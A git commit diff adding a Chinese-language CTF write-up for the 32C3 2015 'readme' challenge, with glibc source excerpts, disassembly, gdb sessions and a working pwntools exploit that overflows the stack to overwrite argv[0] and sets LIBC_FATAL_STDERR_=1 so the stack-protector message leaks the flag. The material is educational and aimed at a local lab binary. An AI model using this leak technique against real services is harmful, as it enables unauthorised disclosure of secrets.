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finish 6.1.14
This commit is contained in:
firmianay
parent
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@ -82,6 +82,8 @@ End of assembler dump.
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## libc 2.23
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Ubuntu 16.04 使用的是 libc-2.23，其 `__stack_chk_fail()` 函数如下：
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```c
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// debug/stack_chk_fail.c
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extern char **__libc_argv attribute_hidden;
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void
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@ -93,6 +95,8 @@ __stack_chk_fail (void)
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```
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调用函数 `__fortify_fail()`：
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```c
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// debug/fortify_fail.c
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extern char **__libc_argv attribute_hidden;
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void
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@ -108,6 +112,34 @@ libc_hidden_def (__fortify_fail)
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```
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`__fortify_fail()` 调用函数 `__libc_message()` 打印出错误信息和 `argv[0]`。
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还有一个错误信息输出到哪儿的问题，再看一下 `__libc_message()`：
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```c
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// sysdeps/posix/libc_fatal.c
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/* Abort with an error message. */
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void
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__libc_message (int do_abort, const char *fmt, ...)
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{
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va_list ap;
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int fd = -1;
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va_start (ap, fmt);
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#ifdef FATAL_PREPARE
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FATAL_PREPARE;
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#endif
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/* Open a descriptor for /dev/tty unless the user explicitly
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requests errors on standard error. */
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const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
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if (on_2 == NULL || *on_2 == '\0')
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fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
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if (fd == -1)
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fd = STDERR_FILENO;
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```
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环境变量 `LIBC_FATAL_STDERR_` 通过函数 `__libc_secure_getenv` 来读取，如果该变量没有被设置或者为空，即 `\0` 或 `NULL`，错误信息 stderr 会被重定向到 `_PATH_TTY`，该值通常是 `/dev/tty`，因此会直接在当前终端打印出来，而不是传到 stderr。
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## CTF 实例
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CTF 中就有这样一种题目，需要我们把 `argv[0]` 覆盖为 flag 的地址，并利用 `__stack_chk_fail()` 把flag 给打印出来。
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@ -2,6 +2,7 @@
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- [题目复现](#题目复现)
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- [题目解析](#题目解析)
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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@ -15,9 +16,290 @@ $ checksec -f readme.bin
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin
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```
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开启了 Canary。
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flag 就藏在二进制文件中的 .data 段上：
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```
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$ rabin2 -z readme.bin | grep 32C3
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000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere...
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```
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程序接收两次输入，并打印出第一次输入的字符串（看起来并没有格式化字符串漏洞）：
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```
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$ ./readme.bin
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Hello!
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What's your name? %p.%p.%p.%p
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Nice to meet you, %p.%p.%p.%p.
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Please overwrite the flag: %d.%d.%d.%d
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Thank you, bye!
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$ python -c 'print "A"*300 + "\n" + "B"' > crash_input
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$ ./readme.bin < crash_input
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Hello!
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What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
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Please overwrite the flag: Thank you, bye!
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*** stack smashing detected ***: ./readme.bin terminated
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Aborted (core dumped)
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$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin
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Hello!
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What's your name? Nice to meet you, A.
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Please overwrite the flag: Thank you, bye!
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```
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第一次输入的字符串过多会导致栈冲突的问题，第二次的输入似乎就没有什么影响。
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感觉和 6.1.13 那题一样，都是需要利用 `__stack_chk_fail()` 打印 flag（参考章节 4.12）。但这一题是动态链接程序，因为 libc-2.25 版本的更新，使 `__stack_chk_fail()` 不能用了。所以为了复现，我们选择Ubuntu 16.04，版本是 libc-2.23。
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## 题目解析
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来看一下程序的逻辑：
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```
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[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
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/ (fcn) sub.Hello___What_s_your_name_7e0 206
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| sub.Hello___What_s_your_name_7e0 ();
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| ; var int local_108h @ rsp+0x108
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| ; CALL XREF from 0x004006e2 (main)
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| 0x004007e0 55 push rbp
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| 0x004007e1 be34094000 mov esi, str.Hello___What_s_your_name ; 0x400934 ; "Hello!\nWhat's your name? "
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| 0x004007e6 bf01000000 mov edi, 1
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| 0x004007eb 53 push rbx ; 先保存下 rbx 的值，然后 rbx 被用作计数器
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| 0x004007ec 4881ec180100. sub rsp, 0x118 ; rsp = rsp - 0x118
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| 0x004007f3 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
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| 0x004007fc 488984240801. mov qword [local_108h], rax ; Canary = [rsp + 0x108]
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| 0x00400804 31c0 xor eax, eax
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| 0x00400806 e8a5feffff call sym.imp.__printf_chk
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| 0x0040080b 4889e7 mov rdi, rsp ; rdi = rsp，所以缓冲区大小 0x108
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| 0x0040080e e8adfeffff call sym.imp._IO_gets ; 第一次输入，读取字符串
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| 0x00400813 4885c0 test rax, rax
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| ,=< 0x00400816 0f8483000000 je 0x40089f
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| | 0x0040081c 4889e2 mov rdx, rsp
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| | 0x0040081f be60094000 mov esi, str.Nice_to_meet_you___s.__Please_overwrite_the_flag: ; 0x400960 ; "Nice to meet you, %s.\nPlease overwrite the flag: "
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| | 0x00400824 bf01000000 mov edi, 1
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| | 0x00400829 31c0 xor eax, eax
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| | 0x0040082b 31db xor ebx, ebx
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| | 0x0040082d e87efeffff call sym.imp.__printf_chk
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| | 0x00400832 660f1f440000 nop word [rax + rax]
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| | ; JMP XREF from 0x0040085c (sub.Hello___What_s_your_name_7e0)
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| .--> 0x00400838 488b3d090520. mov rdi, qword [obj.stdin] ; [0x600d48:8]=0 ; 临时存储区
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| :| 0x0040083f e85cfeffff call sym.imp._IO_getc ; 第二次输入，每次读取一个字符
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| :| 0x00400844 83f8ff cmp eax, 0xffffffffffffffff
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| ,===< 0x00400847 7456 je 0x40089f
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| |:| 0x00400849 83f80a cmp eax, 0xa ; 10 ; 是否为换行符
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| ,====< 0x0040084c 7412 je 0x400860
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| ||:| 0x0040084e 8883200d6000 mov byte [rbx + str.32C3_TheServerHasTheFlagHere...], al ; 将字符写入到原 flag+rbx 的地方
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| ||:| 0x00400854 4883c301 add rbx, 1 ; 计数 + 1
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| ||:| 0x00400858 4883fb20 cmp rbx, 0x20 ; 32 ; 最多读入 0x20 个字符
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| ||`==< 0x0040085c 75da jne 0x400838 ; 继续循环
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| ||,==< 0x0040085e eb18 jmp 0x400878 ; 结束循环
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| |||| ; JMP XREF from 0x0040084c (sub.Hello___What_s_your_name_7e0)
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| `----> 0x00400860 ba20000000 mov edx, 0x20 ; 32
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| ||| 0x00400865 4863fb movsxd rdi, ebx
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| ||| 0x00400868 31f6 xor esi, esi ; rsi = 0
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| ||| 0x0040086a 29da sub edx, ebx ; 0x20 - 计数
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| ||| 0x0040086c 4881c7200d60. add rdi, str.32C3_TheServerHasTheFlagHere... ; rdi = flag+rbx
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| ||| 0x00400873 e8f8fdffff call sym.imp.memset ; void *memset(void *s, int c ; 将剩余的 flag 覆盖为 0
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| ||| ; JMP XREF from 0x0040085e (sub.Hello___What_s_your_name_7e0)
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| |`--> 0x00400878 bf4e094000 mov edi, str.Thank_you__bye ; 0x40094e ; "Thank you, bye!
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| | | 0x0040087d e8befdffff call sym.imp.puts ; int puts(const char *s)
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| | | 0x00400882 488b84240801. mov rax, qword [local_108h] ; [0x108:8]=-1 ; 264
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| | | 0x0040088a 644833042528. xor rax, qword fs:[0x28]
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| |,==< 0x00400893 7514 jne 0x4008a9 ; 验证 Canary
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| ||| 0x00400895 4881c4180100. add rsp, 0x118
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| ||| 0x0040089c 5b pop rbx
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| ||| 0x0040089d 5d pop rbp
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| ||| 0x0040089e c3 ret
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| ||| ; JMP XREF from 0x00400816 (sub.Hello___What_s_your_name_7e0)
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| ||| ; JMP XREF from 0x00400847 (sub.Hello___What_s_your_name_7e0)
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| `-`-> 0x0040089f bf01000000 mov edi, 1
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| | 0x004008a4 e887fdffff call sym.imp._exit ; void _exit(int status)
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| | ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0)
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\ `--> 0x004008a9 e8a2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi ; 验证失败时调用
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[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere...
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- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
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0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa
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0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere....
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```
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看注释已经很明显了，第一次的输入需要我们触发栈溢出，使程序调用 `__stack_chk_fail()`，并打印出 `argv[0]`。第二次的输入将覆盖掉位于 `0x00600d20` 的 flag。
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那么问题来了，如果 flag 被覆盖掉了，那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题，我们知道 x86-64 程序的映射是从 `0x400000` 开始的：
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```
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$ ld --verbose | grep __executable_start
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PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
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```
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在调试时我们又发现 readme.bin 被映射到下面的两个地址中：
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```
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gdb-peda$ b *0x0040080e
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Breakpoint 1 at 0x40080e
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gdb-peda$ r
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gdb-peda$ vmmap readme.bin
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Start End Perm Name
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0x00400000 0x00401000 r-xp /home/firmyy/readme.bin
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0x00600000 0x00601000 rw-p /home/firmyy/readme.bin
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```
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所以只要在二进制文件 `0x00000000~0x00001000` 范围内的内容都会被映射到内存中，分别以 `0x600000` 和 `0x400000` 作为起始地址 。flag 在 `0x00000d20`，所以会在内存中出现两次，分别位于 `0x00600d20` 和 `0x00400d20`：
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```
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gdb-peda$ find 32C3
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Searching for '32C3' in: None ranges
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Found 2 results, display max 2 items:
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readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
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readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
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```
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所以即使 `0x00600d20` 的 flag 被覆盖了，`0x00400d20` 的 flag 依然存在。
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让我们来找出 `argv[0]` 距离栈的距离：
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```
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gdb-peda$ find /home/firmyy/readme.bin
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Searching for '/home/firmyy/readme.bin' in: None ranges
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Found 3 results, display max 3 items:
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[stack] : 0x7fffffffe097 ("/home/firmyy/readme.bin")
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[stack] : 0x7fffffffef9f ("/home/firmyy/readme.bin")
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[stack] : 0x7fffffffefe0 ("/home/firmyy/readme.bin")
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gdb-peda$ find 0x7fffffffe097
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Searching for '0x7fffffffe097' in: None ranges
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Found 2 results, display max 2 items:
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libc : 0x7ffff7dd23d8 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
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[stack] : 0x7fffffffdc78 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
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gdb-peda$ x/10gx 0x7fffffffdc78
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0x7fffffffdc78: 0x00007fffffffe097 0x0000000000000000
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0x7fffffffdc88: 0x00007fffffffe0af 0x00007fffffffe0ba
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0x7fffffffdc98: 0x00007fffffffe0cf 0x00007fffffffe0e6
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0x7fffffffdca8: 0x00007fffffffe0f8 0x00007fffffffe12a
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0x7fffffffdcb8: 0x00007fffffffe142 0x00007fffffffe158
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gdb-peda$ x/10s 0x00007fffffffe097
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0x7fffffffe097: "/home/firmyy/readme.bin"
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0x7fffffffe0af: "XDG_VTNR=7"
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0x7fffffffe0ba: "LC_PAPER=zh_CN.UTF-8"
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0x7fffffffe0cf: "LC_ADDRESS=zh_CN.UTF-8"
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0x7fffffffe0e6: "XDG_SESSION_ID=c1"
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0x7fffffffe0f8: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/firmyy"
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0x7fffffffe12a: "LC_MONETARY=zh_CN.UTF-8"
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0x7fffffffe142: "CLUTTER_IM_MODULE=xim"
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0x7fffffffe158: "SESSION=ubuntu"
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0x7fffffffe167: "GPG_AGENT_INFO=/home/firmyy/.gnupg/S.gpg-agent:0:1"
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gdb-peda$ distance $rsp 0x7fffffffdc78
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From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords
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```
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`536=0x218` 个字节。第一次尝试：
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```python
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from pwn import *
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io = remote("127.0.0.1", 10001)
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payload_1 = "A"*0x218 + p64(0x400d20)
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io.sendline(payload_1)
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payload_2 = "A"*4
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io.sendline(payload_2)
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print io.recvall()
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```
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在第一个终端里执行下面的命令，相当于远程服务器，并且将 stderr 重定向到 stdout：
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```
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$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
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```
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然后在第二个终端里执行 exp：
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```
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$ python exp.py
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[+] Opening connection to 127.0.0.1 on port 10001: Done
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[+] Receiving all data: Done (627B)
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[*] Closed connection to 127.0.0.1 port 10001
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Hello!
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What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
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Please overwrite the flag: Thank you, bye!
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```
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咦，flag 并没有在我们执行 exp 的终端里打印出来，反而是打印在了执行程序的终端里：
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```
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$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
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*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
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```
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所以我们需要做点事情，让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入，将 `LIBC_FATAL_STDERR_=1` 写入到环境变量中。结果如下：
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```
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gdb-peda$ x/10gx $rsp+0x218
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0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000
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0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100
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0x7fffffffdcf8: 0x00007fffffffe123 0x00007fffffffe155
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0x7fffffffdd08: 0x00007fffffffe181 0x00007fffffffe19f
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0x7fffffffdd18: 0x00007fffffffe1bf 0x00007fffffffe1df
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gdb-peda$ x/s 0x400d20
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0x400d20: "32C3_TheServerHasTheFlagHere..."
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gdb-peda$ x/s 0x600d20
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0x600d20: "LIBC_FATAL_STDERR_=1"
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```
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函数 `__GI___libc_secure_getenv` 成功获取到了环境变量 `LIBC_FATAL_STDERR_` 的值 `1`：
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```
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gdb-peda$ ni
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[----------------------------------registers-----------------------------------]
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RAX: 0x600d33 --> 0x31 ('1')
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RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n")
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RCX: 0xe
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RDX: 0x0
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RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_")
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RDI: 0x600d22 ("BC_FATAL_STDERR_=1")
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RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected")
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RSP: 0x7fffffffd9f0 --> 0x0
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RIP: 0x7ffff7a8455a (<__libc_message+74>: test rax,rax)
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R8 : 0x1010
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R9 : 0x24a
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R10: 0x1c7
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R11: 0x0
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R12: 0x7ffff7b9ac35 ("<unknown>")
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R13: 0x7fffffffdcd0 ("AAAAAAAA \r@")
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R14: 0x0
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R15: 0x1
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EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x7ffff7a8454a <__libc_message+58>: mov DWORD PTR [rbp-0x78],0x10
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0x7ffff7a84551 <__libc_message+65>: mov QWORD PTR [rbp-0x68],rax
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0x7ffff7a84555 <__libc_message+69>: call 0x7ffff7a46ef0 <__GI___libc_secure_getenv>
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=> 0x7ffff7a8455a <__libc_message+74>: test rax,rax
|
||||
0x7ffff7a8455d <__libc_message+77>: je 0x7ffff7a84568 <__libc_message+88>
|
||||
0x7ffff7a8455f <__libc_message+79>: cmp BYTE PTR [rax],0x0
|
||||
0x7ffff7a84562 <__libc_message+82>: jne 0x7ffff7a846f7 <__libc_message+487>
|
||||
0x7ffff7a84568 <__libc_message+88>: mov esi,0x902
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0x7fffffffd9f0 --> 0x0
|
||||
0008| 0x7fffffffd9f8 --> 0x0
|
||||
0016| 0x7fffffffda00 --> 0x0
|
||||
0024| 0x7fffffffda08 --> 0x10
|
||||
0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14
|
||||
0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
|
||||
0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
|
||||
0056| 0x7fffffffda28 --> 0x1
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
__libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
|
||||
at ../sysdeps/posix/libc_fatal.c:81
|
||||
81 ../sysdeps/posix/libc_fatal.c: No such file or directory.
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
最终的 exp 如下：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
io = remote("127.0.0.1", 10001)
|
||||
#io = process('./readme.bin')
|
||||
#context.log_level = 'debug'
|
||||
|
||||
payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
|
||||
io.sendline(payload_1)
|
||||
|
||||
payload_2 = "LIBC_FATAL_STDERR_=1"
|
||||
io.sendline(payload_2)
|
||||
|
||||
print io.recvall()
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
$ python exp.py
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[+] Receiving all data: Done (703B)
|
||||
[*] Closed connection to 127.0.0.1 port 10001
|
||||
Hello!
|
||||
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
|
||||
Please overwrite the flag: Thank you, bye!
|
||||
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/1958
|
||||
|
||||
@ -1 +1,3 @@
|
||||
# 8.2.3 AEG: Automatic Exploit Generation
|
||||
|
||||
## 简介
|
||||
|
||||
BIN
pic/8.2.3_algorithm.png
Normal file
BIN
pic/8.2.3_algorithm.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 43 KiB |
BIN
pic/8.2.3_design.png
Normal file
BIN
pic/8.2.3_design.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 29 KiB |
BIN
pic/8.2.3_exploit.png
Normal file
BIN
pic/8.2.3_exploit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
BIN
pic/8.2.3_iwconfig.png
Normal file
BIN
pic/8.2.3_iwconfig.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 56 KiB |
BIN
pic/8.2.3_memory.png
Normal file
BIN
pic/8.2.3_memory.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
13
src/writeup/6.1.14_pwn_32c3ctf2015_readme/exp.py
Normal file
13
src/writeup/6.1.14_pwn_32c3ctf2015_readme/exp.py
Normal file
@ -0,0 +1,13 @@
|
||||
from pwn import *
|
||||
|
||||
io = remote("127.0.0.1", 10001)
|
||||
#io = process('./readme.bin')
|
||||
#context.log_level = 'debug'
|
||||
|
||||
payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
|
||||
io.sendline(payload_1)
|
||||
|
||||
payload_2 = "LIBC_FATAL_STDERR_=1"
|
||||
io.sendline(payload_2)
|
||||
|
||||
print io.recvall()
|
||||
1
src/writeup/6.1.14_pwn_32c3ctf2015_readme/run.sh
Normal file
1
src/writeup/6.1.14_pwn_32c3ctf2015_readme/run.sh
Normal file
@ -0,0 +1 @@
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr &
|
||||
Loading…
Reference in New Issue
Block a user